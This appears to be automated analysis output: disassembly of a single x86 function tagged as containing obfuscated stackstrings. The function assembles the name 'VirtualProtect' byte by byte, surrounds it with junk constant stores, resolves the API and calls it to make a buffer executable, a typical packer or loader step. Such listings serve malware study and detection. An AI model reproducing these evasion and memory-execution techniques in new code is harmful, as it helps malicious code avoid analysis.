Function at 0x477ed0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ac
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x494164], eax
mov byte [0x49240c], 0x75
mov byte [0x49240b], 0x74
mov byte [0x49240d], 0x61
mov byte [0x492408], 0x56
mov byte [0x49240a], 0x72
mov byte [0x492409], 0x69
mov byte [0x49240e], 0x6c
mov dword [ebp - 0x1fc], 0x1c5cd28e
mov dword [ebp - 0x260], 0x7a810d9c
mov dword [ebp - 0x22c], 0x4aa7ab15
mov dword [ebp - 0x160], 0x273edcd0
mov dword [ebp - 0x68], 0x594ff614
mov dword [ebp - 0x64], 0x1304192
mov dword [ebp - 0x1f8], 0x727b1be8
mov dword [ebp - 0x25c], 0x3ba1453a
mov dword [ebp - 0x194], 0x7d8b5aaa
mov dword [ebp - 0x94], 0xf50bacd
mov dword [ebp - 0x1f4], 0x778decdf
mov dword [ebp - 0x90], 0x4947f9b6
mov dword [ebp - 0x3c], 0x7960c332
mov dword [ebp - 0x8c], 0x8c8eef6
mov dword [ebp - 0x258], 0x75862e40
mov dword [ebp - 0xe8], 0x1d350202
mov dword [ebp - 0x2ac], 0x6d8a2be5
mov dword [ebp - 0x228], 0x7243711d
mov dword [ebp - 0x254], 0x48d7c2b
mov dword [ebp - 0x288], 0x446d67a
mov dword [ebp - 0x60], 0x55ae20af
mov dword [ebp - 0x134], 0x4cc87a8f
mov dword [ebp - 0x104], 0x12b2e071
mov dword [ebp - 0x5c], 0x1f4bb48b
mov dword [ebp - 0x1d0], 0x6a9d9bbe
mov dword [ebp - 0x1cc], 0x6a365e44
mov dword [ebp - 0x58], 0x2eb6b90c
mov dword [ebp - 0x1c8], 0x252ccc5c
mov dword [ebp - 0x224], 0x6be37639
mov dword [ebp - 0x88], 0x406ff955
mov dword [ebp - 0x2a8], 0x3fd7b4cd
mov dword [ebp - 0xe4], 0x4adecb55
mov dword [ebp - 0x1c4], 0x5c245bf
mov dword [ebp - 0x1c0], 0x246ff0e3
mov dword [ebp - 0x130], 0x1e0ce60a
mov dword [ebp - 0x18], 0x311c9e8f
mov dword [ebp - 0x1f0], 0x3db1874b
mov dword [ebp - 0x14], 0x5a414c08
mov dword [ebp - 0x2a4], 0x1bc584f
mov dword [ebp - 0x38], 0x198cfc31
mov dword [ebp - 0x100], 0x48c80ac5
mov dword [ebp - 0x1ec], 0x1afbdb68
mov dword [ebp - 0x12c], 0x587df7c2
mov dword [ebp - 0x10], 0x5b528964
mov dword [ebp - 0x1e8], 0x1217037c
mov dword [ebp - 0x54], 0x85bef5c
mov dword [ebp - 0xe0], 0x1ed86e04
mov dword [ebp - 0xfc], 0x135948a7
mov dword [ebp - 0x284], 0x38871cda
mov dword [ebp - 0xc0], 0x30a4f4d3
mov dword [ebp - 0x15c], 0x338b49ec
mov dword [ebp - 0x250], 0x465677f4
mov dword [ebp - 0xdc], 0x3df3c8d2
mov dword [ebp - 0x1bc], 0x629b7538
mov dword [ebp - 0x220], 0x2248cc21
mov dword [ebp - 0x1e4], 0x1bfd2b29
mov dword [ebp - 0x34], 0x7456ddb4
mov dword [ebp - 0x190], 0x5362d073
mov dword [ebp - 0x30], 0x28726b3a
mov dword [ebp - 0x158], 0x65250c1e
mov dword [ebp - 0x1b8], 0x503b10e1
mov dword [ebp - 0x84], 0x3e22b586
mov dword [ebp - 0x1b4], 0x2129e063
mov dword [ebp - 0x24c], 0x10ebf150
mov dword [ebp - 0x128], 0x608e1731
mov dword [ebp - 0x21c], 0x5dbc2d25
mov dword [ebp - 0x248], 0x5cef80b2
mov dword [ebp - 0x280], 0x5f286707
mov dword [ebp - 0x1b0], 0x1d5cdd3d
mov dword [ebp - 0x1ac], 0x7f4efede
mov dword [ebp - 0x2a0], 0x556fc36f
mov dword [ebp - 0x218], 0x4c3e7ee6
mov dword [ebp - 0xbc], 0x4dc55f44
mov dword [ebp - 0x18c], 0xcea7c9a
mov dword [ebp - 0x50], 0x52d5bba3
mov dword [ebp - 0x124], 0x1d445a3d
mov dword [ebp - 0x27c], 0x53e98437
mov dword [ebp - 0x244], 0x27ecde27
mov dword [ebp - 0x1a8], 0x381ace7e
mov dword [ebp - 0x278], 0x47ebcc58
mov dword [ebp - 0x214], 0xb6932fa
mov dword [ebp - 0x4c], 0x74ba46cd
mov dword [ebp - 0x210], 0x119c2f5f
mov dword [ebp - 0x20c], 0x528c6198
mov dword [ebp - 0xf8], 0x54093470
mov dword [ebp - 0x188], 0x5f47ce6f
mov dword [ebp - 0x1a4], 0xe6daac8
mov dword [ebp - 0x120], 0x31e326da
mov dword [ebp - 0x184], 0x7070407
mov dword [ebp - 0x48], 0x737cc221
mov dword [ebp - 0x29c], 0x26e7399a
mov dword [ebp - 0x2c], 0x4d2ca243
mov dword [ebp - 0x154], 0x25ee72c7
mov dword [ebp - 0x150], 0x5d280dbc
mov dword [ebp - 0x14c], 0x6c80d2f5
mov dword [ebp - 0x180], 0x4067dfea
mov dword [ebp - 0x28], 0x69c36d51
mov dword [ebp - 0x17c], 0x671c1d44
mov dword [ebp - 0xb8], 0xd5fca21
mov dword [ebp - 0x1e0], 0x33fe8c1f
mov dword [ebp - 0x178], 0x70549413
mov dword [ebp - 0xf4], 0x744da520
mov dword [ebp - 0x148], 0x1c93ec19
mov dword [ebp - 0x144], 0x6c81056d
mov dword [ebp - 0x174], 0x4a9f8200
mov dword [ebp - 0xb4], 0x568990e5
mov dword [ebp - 0x44], 0x22a8830f
mov dword [ebp - 0x240], 0x4bf69210
mov dword [ebp - 0x23c], 0x374e78e7
mov dword [ebp - 0x1dc], 0x28cd1235
mov dword [ebp - 0x11c], 0x813d5b6
mov dword [ebp - 0xd8], 0x565e1ad5
mov dword [ebp - 0x208], 0x36790e1f
mov dword [ebp - 0xb0], 0x30cb773d
mov dword [ebp - 0x40], 0x737a31ea
mov dword [ebp - 0x24], 0x41b1be8f
mov dword [ebp - 0x118], 0x286f2dc9
mov dword [ebp - 0xac], 0x1f488cee
mov dword [ebp - 0x1a0], 0x5dcec147
mov dword [ebp - 0xa8], 0x8e1adf0
mov dword [ebp - 0x170], 0x43b9b6e5
mov dword [ebp - 0xd4], 0x6a44b1a
mov dword [ebp - 0xd0], 0x18e24d1e
mov dword [ebp - 0x298], 0x740361d8
mov dword [ebp - 0x274], 0x2ffa673
mov dword [ebp - 0x114], 0x617a59d2
mov dword [ebp - 0x1d8], 0x14109374
mov dword [ebp - 0x80], 0x7a657697
mov dword [ebp - 0x7c], 0x5ea1d02c
mov dword [ebp - 0x1d4], 0x389b9883
mov dword [ebp - 0x140], 0x42608e1c
mov dword [ebp - 0x270], 0x379e3d9c
mov dword [ebp - 0x19c], 0x2e374803
mov dword [ebp - 0xf0], 0x5dc7af1d
mov dword [ebp - 0x238], 0x29edcdfe
mov dword [ebp - 0x198], 0x109381b8
mov dword [ebp - 0x204], 0x1588fabd
mov dword [ebp - 0xcc], 0x7c1d4347
mov dword [ebp - 0xa4], 0x745a1e5d
mov dword [ebp - 0x26c], 0x482b4399
mov dword [ebp - 0x294], 0x1a7c906d
mov dword [ebp - 0xec], 0x4b96d053
mov dword [ebp - 0x20], 0x4b4f9e00
mov dword [ebp - 0xc], 0x25a2066e
mov dword [ebp - 0x290], 0x462adee0
mov dword [ebp - 0xa0], 0x692ade3d
mov dword [ebp - 0x78], 0x761d5e97
mov dword [ebp - 0x110], 0x2e8d6e6
mov dword [ebp - 0x74], 0xa121843
mov dword [ebp - 0x70], 0x4d6f8a10
mov dword [ebp - 0x268], 0x7a2877b5
mov dword [ebp - 0x264], 0x3dd2fb17
mov dword [ebp - 8], 0x2cd2556a
mov dword [ebp - 0x10c], 0x33f7f954
mov dword [ebp - 0x1c], 0x4b6215e9
mov dword [ebp - 0x13c], 0x17235897
mov dword [ebp - 0x9c], 0x7c902cb8
mov dword [ebp - 0x98], 0x3e631ae9
mov dword [ebp - 0x200], 0x64aabbbe
mov dword [ebp - 0x108], 0x68e4fa6b
mov dword [ebp - 0x138], 0x77273587
mov dword [ebp - 0xc8], 0x32159c38
mov dword [ebp - 0x16c], 0x11232415
mov dword [ebp - 0x234], 0x472ebf4e
mov dword [ebp - 0x230], 0x782958e0
mov dword [ebp - 0x28c], 0x2db09988
mov dword [ebp - 0x6c], 0x7868619b
mov dword [ebp - 0xc4], 0xd05f7e7
mov dword [ebp - 0x168], 0x425d872b
add dword [ebp - 0x1fc], 0x7e7dc506
mov eax, 0x4ebebc41
mul dword [ebp - 0x260]
mov eax, dword [ebp - 0x260]
mov eax, 0x9511c15
mul dword [ebp - 0x22c]
mov eax, dword [ebp - 0x22c]
mov eax, 0x66a8a0d9
mov dword [ebp - 0x164], 0x40
mov byte [0x492413], 0x65
mov byte [0x49240f], 0x50
mov byte [0x492412], 0x74
mov byte [0x492414], 0x63
mov byte [0x492411], 0x6f
mov byte [0x492416], 0
mov byte [0x492415], 0x74
mov byte [0x492410], 0x72
push 0x492408
mov eax, dword [0x494164]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x493304], eax
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0x164]
push edx
mov eax, dword [0x494860]
push eax
mov ecx, dword [0x4934a4]
push ecx
call dword [0x493304]
mov esp, ebp
pop ebp
ret